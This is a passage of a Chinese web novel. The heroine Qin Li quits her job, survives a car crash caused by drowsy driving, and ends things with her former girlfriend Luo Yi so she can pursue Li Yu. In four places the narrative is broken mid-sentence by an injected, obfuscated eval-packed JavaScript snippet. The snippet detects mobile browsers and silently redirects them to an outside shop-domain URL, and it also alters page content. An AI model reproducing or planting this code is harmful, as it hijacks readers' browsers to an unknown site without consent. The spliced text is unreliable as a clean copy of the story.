楚老师还是这么幽默。她贴心地为秦离留下思考的时间,也可以先跟出版社那边的老师交流,但最好不要超过一个月,免得留下不好的印象。 秦离对此十分感激。 简历倒是都做好了,对于选择哪边,秦离还在犹豫。 她第一反应是去楚老师那里,但仔细了解了下,正如楚老师所说,她所在的出版社年轻又人少,成果主要都在她一人身上,目前借着她的人脉发展。秦离要是加入,会分掉她的精力,对她的帮助也很少。 而且,换行第一步,秦离也希望去大点的公司学习,然后才说后续发展的事。 楚老师确实很上心,给她介绍的两家都是有一定名气和规模的出版社,虽说现在还不知道最后能不能成功进去,进去具体在哪个部门,但至少有这么个机会了。 单位辞职流程很长,要准备很多材料,等着上会,交接时秦离也把所有工作事无巨细地讲给两个小伙。 “你们……哎,能记的都记下吧,之后上手肯定会有段时间兵荒马乱。容易出错没关系,有什么问题也都可以给我打电话,但一定要吸取教训,下次不能再栽在同一个坑里了。以后再多上点心,早日独当一面。” 话是这么说,秦离已经可以想见她走后,科长焦头烂额的样子了。 不过那时候她已经无事一身轻了,嘻嘻。 直到开始走流程了,绝大多数人对秦离要离开这件事仍然觉得很意外,只有抱着养生茶的张姐一脸意料中。 “小秦在这里做得很好,但心里还是向往外面的,性格也更适合出去打拼呐,挺好,挺好。”她说得比较委婉,其间的祝福是真心的。 不得不说,姜还是老的辣,她一眼就看出,秦离在单位从未融入其中,一直是旁观者视角。 “谢谢大家一直以来的关心和照顾。” 秦离真诚地向所有人道谢。 在单位的这三年,她曾抱怨过僵硬异化的工作机制,与各种同事起过争执。毫不夸张地说,跟上级、同级、下级、外单位的所有人,她都吵过,但抛开工作关系,她从未私心里讨厌或憎恶过谁。 她知道,什么讲官话、答复含混不清、踢皮球、半夜扰人都是这个工作机制下,大家明哲保守的不得已之举。离开了工作,绝大多数人其实都不是什么品行糟糕的人,大家作为朋友或者萍水相逢的陌生人,都能好好相处。 但工作机制让个人作为整个机器里的齿轮,不得不违背自己意志地运行,不得不摩擦和对抗。我之不再是我,只是这个位置上的工具。大家变得面目全非,为着跟自己无关又无用的琐碎事务而怒目而斥。 所以秦离确实是真心向接触过的所有人道谢,为那些哪怕只有某一个时刻向自己表达过善意的人,这些零星的善意在工作机制里是如此难能可贵。 一切都尘埃落定了,秦离才跟家里人说。 妈爸的反应没有她想象的那么激烈。问清楚她的想法和打算后,老妈深深叹了口气,最后道:“好嘛,你想清楚就行。” 秦离诧异:“你不劝我吗?” 老妈笑了:“你呀,现在已经很有主意咯。哎,时间过得好快啊,你都楞个(这么)大了,我还记到你小时候蛋糕掉地上了哭兮兮的样子。勺勺,只要是你认真考虑后做出的决定,妈妈爸爸都支持你。我们永远是你坚强的后盾。” “谢谢老妈。”秦离有些感动,“放心吧,现在没有撒子能打败我!” 只要不是天灾人祸打仗生重病之类的不可抗力,便再没有什么不能解决的困难。基准线上,所有的行动都是人生体验和财富加成。如果发生了什么意料之外的事,她也要像个反派那样邪魅一笑,说着“事情开始变得有趣起来了呢。”① 所有事都在有条不紊地进行着,只有一件…… 秦离没有将楚老师给出的选择告诉洛依。说出可能去花城工作之类的,似乎像是给出的暗示,又像是无数空头支票之一。 她也不想给她压力。 但确实是有必要去一趟花城了。 根据花城出版社的风格和要求,秦离修改好简历,发给那边对接的老师,约好十一月下旬周中的一天去面试。梦城那边说好了十二月初再去。 然后她才告诉洛依:【下下周三我要到花城来。】 【欸,是来出差吗?还是跟找工作有关?】 【最近向那边一家出版社投了简历,准备过来面试。】 【那很好呢!不过,怎么想到投花城的公司,我的意思是,这边离你家那么远,你之前也没在这边呆过……】 因为你在那里啊。 如果是曾经,秦离一定会毫不犹豫地这么说。洛依在那里,就已经是胜过一切的理由了。 但现在……秦离来花城——甚至不是一定选择——只是因为楚老师给出的机会,并非她的自主意愿。她知道洛依或许想要听到什么样的答案,却说不出口。 【只是刚好有这么个机会,还不确定对方要不要我呢。】 【这样啊……那你确定了具体到达时间跟我说,到时候有机会一起吃个饭吧。】 【好呀。】 这也是秦离迫不及待想去一趟花城的原因之一。 或许这次和洛依见面后,她能想明白自己想要的到底是什么。 还有一周多时间。没有什么工作的事要忙,也不用担心前路茫茫,难得惬意。 秦离平时就练练琴、读读书、写写文多囤点稿。她一个人,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370274|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去了参加陌生人社交活动的兴趣,只偶尔和许平平去橘色喝酒。 生活跟遇见黎羽之前的似乎没什么两样。 店里,有时秦离会听见有客人问怎么很久没看见另一个银发老板了,在得知她不会再来后,都发出了遗憾的叹息。 物是人非。 这个周末是裴子霜的生日,星期六党四人组再聚,图热闹,秦离开了车,把小狗也带上了。 贪吃卖乖的善良摇粒绒受众人宠爱,四人吃吃喝喝到很晚,又去私影续了一摊,结束的时候已经快十二点了。 其她三个人家都不远,打个车就回去了,只有秦离还得开半个多小时的车回去。 “没事吧?”杨颖不太放心,“要不去我家睡,明早再回?” “不了,”秦离没有一点困意,还挺精神,“小狗的什么东西都没带呢,我还是回家吧。” 她对自己的开车技术很有信心,也经常半夜开,自觉没问题。 “好哦,那到家了发消息。” “好。” 秦离很喜欢在夜晚的城市兜风。小狗也玩累了,趴在副驾驶睡着了。她开窗吹着风,将音乐声开得很大,感觉全世界都变成了节奏缓慢的黑白色,只有自己是鲜活的。 慢慢的,天空开始落下雨点,打湿了半边车门,风也变得愈发刺骨。 秦离只能关上车窗,出风口的暖气打在冻僵的皮肤上,车内慢慢变得温暖,人的神经也被舒缓。 困意在瞬间来袭。 车子开始在路上漂移,压着白线晃来晃去。 秦离的头慢慢垂了下来,栽的那一下突然身体一激灵,连忙提神,修正行进轨迹。 她晃了晃脑袋,没有太警惕,换了首更激烈的音乐,继续开着。 毕竟对她来说,神智不太清醒着开车的时候太多了。每次,她都会本能该踩刹车踩刹车,该轰油门轰油门,没有一次出过事。 但,身体本能,并不是每一次都能及时起作用。 而且她的年龄也大了。 滴滴—— 突然,刺眼的白光和急促的喇叭声中,秦离惊醒。踩上刹车的瞬间已经来不及了,车子猛地撞上了什么东西,她的脚打在车门上,身体被甩起来又被安全带拽了回来,头撞在了玻璃上。 天旋地转。 一滴,两滴,越来越多…… 额头,鼻子,还有不知道哪里,流了好多好多血,模糊了视线。 小狗在旁边狂吠着,声音远得像在另一个世界。 秦离失去了对身体的控制,意识和肉/体好像被分割成了两块,灵魂飞去了空中,被风雨带着就要飘走了。 自己是要死了吗…… 生死之际,人生如走马灯般晃过,她只有一个念头。 妈爸要难过了。 还好……还好黎羽不会知道这个消息…… 意识变得越来越沉重,就快要融入黑暗,一切……就要结束了吗? 最后时刻,秦离只看见有人远远朝自己跑来。 145. Chapter 145 秦离再醒来时躺在病床上,外面一片漆黑,分不清时日。她头上和腿上都缠了绷带,隐隐作痛。她依旧头昏脑胀,恶心想吐,但身体的控制权回来了。 病房里空无一人,她起身刚想下床,老妈推门进来,连忙跑过来制止她。 “莫动莫动,你给我躺回切!” 秦离本来就是想找人,见老妈出现,安心躺下。 “呜——” 她见老妈不理她,又有些难受,故意小声呻/吟着。 老妈在床边坐下,给她倒了杯水,开始数落人:“你说你,耍困了就喊个代驾,或者把车子就耳(扔)到哪里打个车回来,第二天再切开嘛,非要疲劳驾驶,胆子大哦。” 被老妈这么斥责着,秦离反而安心了。要是她真的伤得重,老妈这会应该是要哭不哭的了,哪里会这么凶。 “那不是,以前都没事嘛。开车的时候我也没觉得困呐。” “还嬉皮笑脸的,点儿都不重视,下次不许这样子了哈!” “嘿嘿,好滴好滴。那个,小狗莫得事嘛?” “它还好,皮都没破,活蹦乱跳的。你不晓得警察给我们打电话的时候,我和你老汉儿吓了一跳,赶紧赶车过来,还好莫得撒子大事哦。” 秦离也是心大,知道没出什么事,身体的不舒服熬着熬着也习惯了,就笑嘻嘻和老妈聊着天,也终于知道整件事是怎么回事了。 当时,她确实是在开车的时候睡着了,但还是本能遵循交通规则。倒是和她在十字路口相撞的那辆车,是从左边闯了红灯开过来的,结果秦离没减速,两人都踩刹车时已经来不及了。 那车的右侧和秦离车的主驾驶位置撞上,那人还好,秦离主要是脑震荡加颅内出血,一下子没受住昏了过去,额头和脚踝处有撞伤,但不算太严重。白天拍过片子了,软组织受伤,需要住院观察几天,目前看起来还好。 警察给两人都做了血液检查,确认都没酒驾,就按照对方责任判了。 脑震荡啊…… 难怪这感觉这么熟悉…… 上一次脑震荡还是大学时候呢。当时阵仗也不小,还是黎羽送她去的医院。 黎羽啊…… 现在回想起昨晚出事时她视死如归的心情,觉得有点好笑。 不过倒是阴差阳错的…… 太晚了,老妈再去护士那一趟后,准备先回去了。她本来打算陪床,秦离坚持让她回去休息。自己也不是什么多严重、不能自理的病,再说要是老妈生病了,多的事都有了。 毕竟现在老妈的身体也大不如从前啊。 老妈拗不过她,答应了。 老妈走后,秦离对着垃圾桶反复呕着,呕得眼泪都飙出来了。隔壁病床的大姐关心地问道:“妹儿,没事吧?要不要喊护士过来?” 秦离擦擦嘴,喝了点水:“没事,吐了就好了。” 这种狂吐状态,她之前熬夜连载写文的时候经常出现,有时候还边咳边呕边吐边发抖,吐着吐着也就习惯了。相比之下,这会这个状态也不算什么。 只能说,写长篇害人啊。 感觉好点后,秦离才有精力给关机的手机充上电。刚打开,她就被不断涌入的消息和未接来电淹没,手机险些卡死。 电话好多是妈爸的,还有科长和小方,杨颖她们的。 秦离先给科长打电话,报了个人情况,婉拒了她来慰问的事。毕竟最近事情这么多,还是不要麻烦大家了。 科长很贴心地表示会帮她申请慰问费,让她好好休息。 大好人呐! 又在星期六党吃喝玩乐群里发了消息。 其实大家本来没有那么紧张,毕竟秦离聚会回去倒头就睡的情况不在少数,但一天一夜了,连电话都不接,后来还关机,她们就有些担心了。 【没事没事,就是和个闯红灯的车子撞了,受了点小伤,问题不大。我还刚好可以不上班,躺着也没事,继续写点文哈哈~】 说着她po了妈爸发来的现场照片,车子侧面完全凹进去了,看着怪吓人的。 小伙伴们这下子沸腾了。 许平平:【我去,这完全就是大事故啊。你伤怎么样,严不严重啊?】 杨颖:【啊!我就说让你住我家啊,大半夜开车太危险了。】 裴子霜:【你在哪个医院,我们过来看看你吧,有没有什么需要帮忙的?】 小伙伴们反应很大,七嘴八舌,看得秦离心里熨帖。 【真没事,就是有点脑震荡和擦伤。】 【小狗也没事!】 【我运气还算挺好的,主要是车子质量不错哈哈~】 【虽然我是有点打瞌睡,但问题绝对出在那个闯红灯的人身上!我的本能还是在起作用的!】 【是是是,我下次一定不托大,已老实,求放过!】 在小伙伴们的唠叨里幸福着,聊了很久,大家才放过她。 然后秦离分别给花城和梦城出版社的老师打了电话,说明自己出车祸的事,沟通着把过去面试的时间推迟半个月。 两边都很体谅她,答应了。梦城那边的老师还说不行也可以线上面试,让她好好休息,不用这么折腾着赶过去。 秦离希望能看看公司的工作环境,和出版社老师有面对面交流,仍坚持要过来。梦城老师便很贴心地将从机场以及火车站到公司的路线都标出来,发给她。 秦离万分感谢。 最后是洛依。 洛依没有发现任何不对劲,至少没有问。虽然之前一直在发消息,但两人现在说不上是什么关系,没有义务必须要每天联系。 秦离消失了这么久,洛依或许觉得她有自己的事在忙,不好打扰。 【昨天晚上回去路上车子擦挂了,处理了一整天,现在才来得及看手机。】 洛依的消息回得很快,就像一直守在手机面前:【啊,没事吧,已经处理好了吗?】 【嗯,都解决了。主要是那个人突然闯红灯,交警也判了他那边全责。】 【没事就好哦。】 秦离说得轻描淡写,没有说谎,只是没提自己受伤的事而已。 两人顺着洛依之前发消息说的话题聊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370275|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵后,秦离才道:【对了,我这边还有些事要处理,估计十二月初才过来。】 【这样啊……十二月初我可能要去出差,不一定有机会见面。】 【那我们到时候看情况?机会难得啊,如果你在,我们就见见吧。】 【好唔。那你定了具体时间跟我说,我尽量争取把时间错开。】 【好哦^_^】 跟洛依商量好后,秦离靠坐在床头刷着手机,时不时点开黎羽的朋友圈,看着里面的一片空白发呆。 突然,她计上心头。 她拍了张缠了厚厚绷带和纱布的下半身的照片,露出医院灯光下惨白的病床和墙壁,又配上字:【哎,太倒霉了,一个人开车回家路上,被个不守规矩闯红灯的撞了,这会医院躺着,难受啊呜呜[兔兔爆哭.jpg]】 半点不提自己也在疲劳驾驶,还有妈爸过来了的事实。 最后,设置成仅黎羽可见。 很快,毫不意外地,黎羽的消息来了。 【你出车祸了?医生具体怎么说,在哪家医院?】 毫不意外的关心,仿佛之前从没说过不再联系的话,就像……一直仍在关注着她的样子。 阿羽啊…… 秦离叹息,心化成了一汪春水。 所有一切都跟她猜想的一样。嘴上强硬的黎羽,在面对她时总是如此心软,她又怎么舍得再让她难过伤心。 【颅内出血加脑震荡,其实不严重啦,都没什么感觉,医生说休养一段时间就好。好多年没脑震荡了哈哈,上次还是在学校球场呢。】 跟秦离嘻嘻哈哈的语气不同,黎羽很严肃:【不要小瞧脑震荡。你在哪家医院?】 秦离这会觉得有点不对了:【就我家附近的,怎么了?】 【……我这会过来,你一个人我……不放心。】 【你在南城吗?】 【梦城。我看今晚还有没有航班。】 秦离吓得差点从床上蹦起来,手机也啪的掉在地上。 她弯腰艰难地从地上捡起手机,一时间真觉得有点头晕目眩。但这时也顾不上这个了,她连忙打字,生怕黎羽真的买了机票。 【没事没事,我真的不严重啦。大晚上的,你又这么远,不要折腾自己,飞过来太辛苦了!】 【但你一个人,在医院总归是太不方便了。】 她全然忘了秦离的家在南城,有家人有朋友有同事,好像只看见她无依无靠,孤零零躺在医院,担心她不能好好照顾自己。 秦离不得不说:【没关系的。我妈爸刚刚接到消息,已经在往医院赶了。】 过了好一阵,黎羽才发消息过来:【好。那如果有什么事,你要跟我说,不要不重视,要好好爱护自己的身体。】 看见她的骤然转变,秦离鼻头一酸。 她能想象黎羽严肃时眉头微皱的样子,也能猜到她或许是突然想起自己还有妈爸依靠,紧张的状态戛然而止。 她太习惯于一个人,关心则乱,才会什么都没想到,只想赶快到自己身边。 她只是……太爱了。 146. Chapter 146 秦离从不轻易说爱。 她能对很多人有好感,能同时对不止一个人产生喜欢的心情。但是爱,是神圣庄严的,不可侵犯的,不能随便被提起的。 但此刻,她很确信,自己被黎羽慷慨地给予了爱。在她还彷徨犹豫的时候,在对方身上已满是伤痕的时候,便用爱温柔地包裹着自己。 这时,秦离又后悔自己忍不住故意用这种会让黎羽担心的事去“钓”她。 【好的,我会好好照顾自己。你也是,最近怎么样,工作还忙吗?】 【还好,就在总公司忙着,没什么外出业务。】 聊天的节奏缓了下来。两人聊了几句,直到黎羽说时间太晚了,让她早点休息,不能熬夜,秦离才恋恋不舍跟她道晚安,结束对话。 躺在床上,望着窗外那一小块被高楼切割后的深蓝色纯净天空,秦离心里百感交集。 她已经做出决定,想好要怎么做了。 刚才聊天时,她没有提到十二月下旬要去梦城的事。在做好全部准备,可以毫无顾虑、全心全意地奔赴前,她不打算让黎羽被不上不下地拉扯着。 额……这次除外。 她确实是太想黎羽了。 不过快了,很快了。 在医院观察几天后,秦离出院了。 保险起见,她在家休养了半个多月,期间只偶尔去单位处理下最后的收尾工作。 那天之后,黎羽时不时会发消息问她感觉怎么样。秦离本不想这样吊着她的,但更不可能不理她,每次都不自觉用更热情的态度回应着。 有时候黎羽也会说些自己的事,两人就又这么保持着联系。但黎羽说话的语气时好时坏,秦离能看得出,她的情绪波动很大,或许内心也在为这么容易就妥协而自嘲甚至自厌。 想到这里,秦离就更加心疼,恨不得十二月赶紧到来。 面试时间是十二月上旬的第一个周三。 确认后,秦离第一时间告诉洛依。洛依恰好是第二天出差走,两人决定周三晚上见面吃个饭。 出发的前一天,秦离不幸感冒了,咳嗽流鼻涕,整个人昏沉沉的。 大概是因为冷空气来袭,身体免疫力又下降了,又或者是她在落地窗边坐了大半夜的缘故。 但她还是没打算改变原本的安排。 周三一大早,秦离飞去花城。 她将装着戒指和照片的盒子,还有之前在南城博物馆买的南瓜灯放在包里,一并带着。 到花城时已经是中午了,感冒症状随着路途奔波更加明显。秦离去药店开了些药,全部吞下,但效果不佳。 下午的面试出乎意料的混乱。 出版社所有人都忙忙碌碌。秦离到的时候,对接老师紧急有事外出了,安排了另外一个老师来。期间又是场地的问题,最后在一个小房间里匆匆开始面试。 看对方皱着眉翻看她的简历,一副不太满意的样子,秦离猜想他或许在想自己是哪里来的关系户,耽误他的时间。 秦离也确实是走了捷径。 她咳得厉害,对方问了几个问题后,面试草草结束。 对方让她回去等消息,但秦离知道,八成是不会有什么后续了。哎,这一通下来,她对梦城那边也没多少信心了。 幸好,还没跟黎羽说这个消息。 晚上和洛依约在她单位附近吃酸汤火锅,微妙地弥补了些没有去筑城的遗憾。 洛依晚上还要回去加班,她们只有不到三个小时的时间。 秦离到的时候,洛依刚出办公室,打车过来大概二十分钟。 生理和心理的双重不舒服让秦离实在没什么胃口。她拍照过去问洛依想吃什么,洛依说自己都可以,完全听她的意见。两人推来推去,最后还是秦离定了个比较贵的双人餐。 锅很快就上上来了。 听着锅里咕噜咕噜的煮开声,看着手机上洛依说着自己打到车了、车到了、进商场了、上扶梯了,秦离的心脏不受控制地微微加速,难以自制地发烫。 她看见洛依穿着浅棕色的外套,披着头发在拐角处出现,然后走近。 “今天还有点冷呢。” 她走到她面前了,带着自由新鲜的空气,扰乱了一室的安逸。 “嗯……”秦离声音沙哑,鼻音很重,才出声又清咳了两下。 “感冒了?”今天的洛依看着远比秦离有活力得多。 “嗯,大概是因为换季吧。” 感冒总是容易找到一个由头,换季、降温、冷风、还有情绪不好。 洛依真的活泼了很多。她戴着圆圆的眼镜,显得眼睛也格外可爱,眼神依旧清澈明亮。 格外提不起劲的秦离,能感觉到她今天的情绪高昂。 她主动找服务员要了酱,又逐盘下菜,将涮好的牛肉放到秦离碗里。 “今天的面试怎么样?” 秦离摇摇头:“估计没什么戏。” 洛依也没多问,只道:“辛苦了,那多吃点。” “好哦。” 或许是秦离回答时的样子太乖巧了,她看见洛依弯着眼睛,笑了笑。 来之前,秦离已经想好了要如何珍惜这段时光,与洛依开开心心地聊天。但真到这时候,她的喉头却像被什么东西哽住,无法吐出却又难以下咽。 于是大多时候,是洛依在说,秦离带着僵硬的笑,勉强应和着。 洛依说话的时候很自然,自然地说起她的生活,说起好多好多秦离不知道的有趣的人和事,说起自己依旧很擅长硬撑,也习惯了从低谷熬出来,不管心里是怎么想的,表面的体面都做得很好。偶尔一两句,她也说起有追她的人怎么怎么样,说到自己现在对恋爱的观点。 “哎,现在这p工作就已经够折磨人了,真的越来越提不起兴致谈恋爱了。不过,或许对着真正很喜欢的人时,想法又会不同吧。” 这话说的模糊不清,就好像重逢后,洛依一直以来的态度。 洛依的态度自然,自然地秦离觉得她似乎将自己当成了一个可以闲聊的普通朋友,而她对这些话题却完全无法介入。 就像是…… “你已经买车了吗?” “嗯,趁着国补,前阵子刚选的宝马,估计年底前就能拿到了,就是花城的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370276|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌号是真的很难拿啊。” 如同两年前那般,这些生活的琐碎再次让秦离深刻感受到,洛依在花城这个城市扎根越来越深。 她清楚地意识到,她和洛依真的已经走向了完全不同的两个方向,在不同的城市过着不同的生活。渐行渐远,没有一点回头的可能。 秦离想起洛依曾经提过的申请到南城的交流项目,但她不想再问,也没必要再问。 吃完饭,秦离把礼物递给洛依。洛依很惊喜地收下,感叹:“哎,我都没准备礼物。要不等会我们去抽个盲盒吧。” 秦离没想过回礼,这样一来一回,显得太生疏客气。但她不想洛依为难,扯着嘴角点头答应了。 这个时候,那种需要客气的普通朋友的感觉更加强烈。 时间差不多了,走之前,秦离跟洛依去一楼的手办店抽盲盒。看着洛依在那里选款式,又让她挑有什么喜欢的,秦离随手点了个洛依推荐的,意识的一半指挥身体得体地和她说话,另一边飘到了虚空中,冷眼旁观。 秦离大概清楚之前自己到底抱着什么样的心情,在洛依的事上如此犹豫不决了。 在恢复联系那刻起,她或许还隐隐期待洛依可以来南城,认为只要解决了当初梗在两人中间的异地问题,感情便依旧如初。她的期待还来自于以为自己是足够特殊的存在,会成为分手之后会被对方苦苦挽回的特殊存在。 旅游,培训……每一次似乎都是两人重回当初的机会,每一次却都缺了那一步,这大概是天意。 她在洛依那里或许还代表了某些情绪,但已不足够特殊。即使没有她的决定,即使她到了花城,抑或洛依到了南城,她们之间也不会有任何改变。原来,阻碍她们的早已经不止是空间,还有时间。 这样也好,这样两边都能好好说再见。 现在,是时候结束了。 她和洛依的故事已经成为过去。她们曾经互相喜欢,但现在,两人的生活都已各自圆满,对对方而言,已经不是那个最特殊的人了,而是随风吹走也不会多想的树叶,轻飘飘的。 她们无法,也没必要再做朋友。 就让所有记忆封存在过去的时光里吧。 心里翻滚了许多想法,这一刻,秦离本就做出的决定愈发坚定。 洛依对这些一无所知,笑着看秦离拆开盲盒。 “哎呀,没抽到特别款,不过这个也挺可爱的,要现在就挂在包上吗?” 秦离摇头:“先放盒子里吧。” 出商场后,一阵冷风袭来,秦离拉起上衣拉链,戴上口罩,将自己包裹得很严实。 洛依陪她往地铁站走着,路上的行人很少。 秦离是想走得久一些的,但时间很快就到了尽头。 站在地铁口旁的小树林里,两人面对面说着话,都没有结束的意思。 洛依偶尔没有开口,秦离也没有讲话的时候,她想到了三年前两人的最后一次见面,让人窒息的沉默。 看着洛依一如从前的可爱脸庞,即使再不舍,秦离还是不得不说出那句话。 “洛依,我们之后就不要再联系了吧。” 147. Chapter 147 这两个字从舌尖吐出是如此的陌生,快得不像是自己才喊出的名字。 洛依愣住了,笑容瞬间从她脸上消失,连带所有的欢愉情绪。她直愣愣地盯着秦离,眼底像破碎星河,难过和悲伤全都溢了出来。 秦离受不了她这样痛苦的眼神。她移开视线,心脏也像被重物撞击般钝痛。 但她没有收回那句话。 还是洛依先开口:“怎么……怎么突然这么说啊……”她勉力撑起笑容,却像是在哭,声音哽咽着。 秦离的手紧握成拳,浅浅的指甲在手心留下月牙红痕。她死死咬住嘴里的嫩肉,咬到口腔里充斥着血腥味,忍住要夺眶而出的泪水。 她的全身紧绷着,害怕神经稍微一放松,就会彻底丢盔卸甲,只想着安慰洛依,让她开心起来。 见秦离迟迟不说话,洛依的嘴角完全落了下去,低着头,身体微微颤抖。 秦离看不出她有没有哭,也不能去看。 她逼迫自己撕裂被黏住的喉头,艰难说着:“洛依,我们……已经分手了。我们不是恋人,也……做不成朋友,不应该再联系的。” “为什么不能做朋友,就不能像现在这样吗?” 这话说出来,洛依或许也觉得太过违心,不再继续说。 秦离深深叹了口气。一旦开口,后面的话就顺畅很多。 “你我都明白,我们的状态,当不成普通朋友的。我对你的心情,也不可能是普通朋友。” “那为什么……” 洛依的话里有某种期翼,却又没直接说出来。 秦离继续:“我承认,即使是现在,我对你也并非毫无感觉。但这种感觉,我也不确定包含了多少不甘心。” “当初我们不是因为对彼此没有感情而分开,而仅仅是因为异地这样一个现实因素。我不甘心,想印证你对我还有所眷恋,想证明在变得更成熟强大后,还有机会在人潮涌动中回头。我迷恋这瞬间的神伤,如同迷恋毒药般的幻觉,好像实现了就能证明我的成功。我的感情只是在这千分之一秒中被压缩到了极致,就如同现在,我每时每刻都在抵抗想要投降的冲动。” “不是的……”洛依只能一个劲地摇头。 “但这已经不是爱了。” 越过洛依的肩头,秦离看向远处的树林间隙,有银尾的鸟儿飞过。 “我和你的记忆停留在了过去。我被困在了那个时候,深陷其中,无法向前,无法创造新的支撑点。” “但和黎羽在一起的时候不一样。” 说到这里,秦离的眼睛都亮了些,也不那么煎熬了。 “我和她有许多痛苦的过去,分开的时候也格外狼狈。但现在,那些都只是过去的部分,我们可以不用在意留在身上的伤痕,因为还有现在和未来。想到她时,我想到的是现在的她,生气的笑着的温柔的冷淡的难过的……我和她的每一次接触,都创造了新的记忆点,无数交叉的绳结变成一张小网,支撑着我有勇气继续走下去。” “我想,我是爱她的,不需要某个轰轰烈烈的时刻,只是无数个普通的阳光或下雨天,我们能互相陪伴,做着很普通的小事。” “虽然现在不知道还有没有机会去挽回她。” “我就……我就不可以吗!” “难道想到我,就只有痛苦的过去,我们就不能朝前看,不能一起创造新的记忆点吗!” 洛依近乎吼了出来,声音嘶哑。 “不是只有痛苦。”秦离的手已经抬起一半了,却只是停在了半空,“事实上,看见你时,我依旧能想到我们曾经在一起的所有美好时刻,我依旧对你会有喜欢的心情。” “但,喜欢和爱是不一样的。” “我爱她,便要全身心地选择她,不能再在心里放着其她人了。” “所以,抱歉……” 洛依的所有情绪都在刚才的嘶吼中全部爆发,现在归于寂静。 她久久地沉默着,秦离也僵在原地,不知道如何是好。 直到路边的公交疾驰而过,发出刺耳的刺啦声。风吹起洛依的长发,挡住她的大半张脸。她终于抬头,语气出乎意料的平静:“你最终还是选择了她吗?” “抱歉……” 秦离只能说出这两个字。 “好。” 说完这个字,洛依就这么站着不动,只有手将背包带子抓得很紧。 很紧。 时间无法永远停留在这里。 秦离看了看手表,轻叹声:“不是说还要加班吗,那就这样吧?” “就这样吧。”洛依重复着。 说着,她转身就要走。 “等等。”秦离喊住她,“最后了,要拥抱下吗?” “离别的拥抱。” 洛依顿了下,然后突然冲了过来,扑进秦离怀里。她死死抱住秦离,力道大得让秦离快喘不过气了。 “混蛋,你这个混蛋!” 洛依咒骂着,带着泪哭骂着。 秦离感受到有泪落在自己的皮肤上。 一滴,又一滴,越来越多,是滚烫的。 “抱歉……”她只能这么说着,轻轻拍着洛依的背。 最后,是洛依先松开了拥抱。她用手背抹掉了所有眼泪,又恢复了平时的表情,故意语气轻松道:“好了,你快走吧,我也该回去了。” 秦离知道这是她的伪装,没有戳穿。 “好,那我走了。” “走吧。” “走吧……” 没有说再见,因为不必再见。 两人错身而过,没有一刻停留,就像两个素不相识的陌生人。 秦离一直朝前走,没有回头。她坐在地铁上,透着车窗望向这个灯火通明的陌生城市,看着自己离洛依在的地方越来越远。 还有最后一件事。 第二天天还没亮,秦离就去了花城的海边。无边无际的水域和天空相连,海水被阴沉的云层也衬得灰蒙蒙的。 秦离靠着水蹲下,打开随身携带的盒子。她咳得更厉害了,像是要将五脏六腑都要咳出来,带着血腥味。 盒子里放的是当初做的星星戒指,洛依的照片,还有其它许多东西。 她细细数过每一样,然后终于合上盖子,将盒子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370277|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在水面上。 她的手微颤着,手指卸了力气,盒子扑通一声落入水中,瞬间沉到海底。 一切都结束了,彻底结束了。 将手机上有关洛依的全部照片、消息、记录和联系方式都删掉后,秦离的心情出乎意料的轻松。 她拍拍手站起来,结果眼前一黑,差点栽到水里去。 这该死的身体! 秦离及时稳住,在冷风中将外套裹得更紧了。她望着天边大片被日出染成橘色的云朵,高举右手朝它挥了挥。 你好,朝阳。 不见,洛依。 这趟离别之旅格外耗心神。回南城后,秦离毫无意外地倒下了,重感冒加之前还没彻底好的伤,在家里整整躺了一个星期。 一周后,秦离满血复活。 她跟星期六党小伙伴们吃饭时,告诉她们自己的选择,要全力去追回黎羽了。 大家都齐齐松了口气。许平平感慨:“你终于做出决定了啊。好好好,我支持,你跟老板看上去就很配,和她在一起也感觉很开心呢!” 杨颖也赞同:“前阵子每次你提到洛依时,都是皱着眉的,纠结拧巴的不行。太费劲的恋爱啊,还是少谈。” 裴子霜附和:“现实点来看,黎羽更成熟些,你们在一起走下去的可能性更大。而且,要是你去梦城上班,也不存在异地的问题,发展也不受限,挺好的。” “是这样吗?” 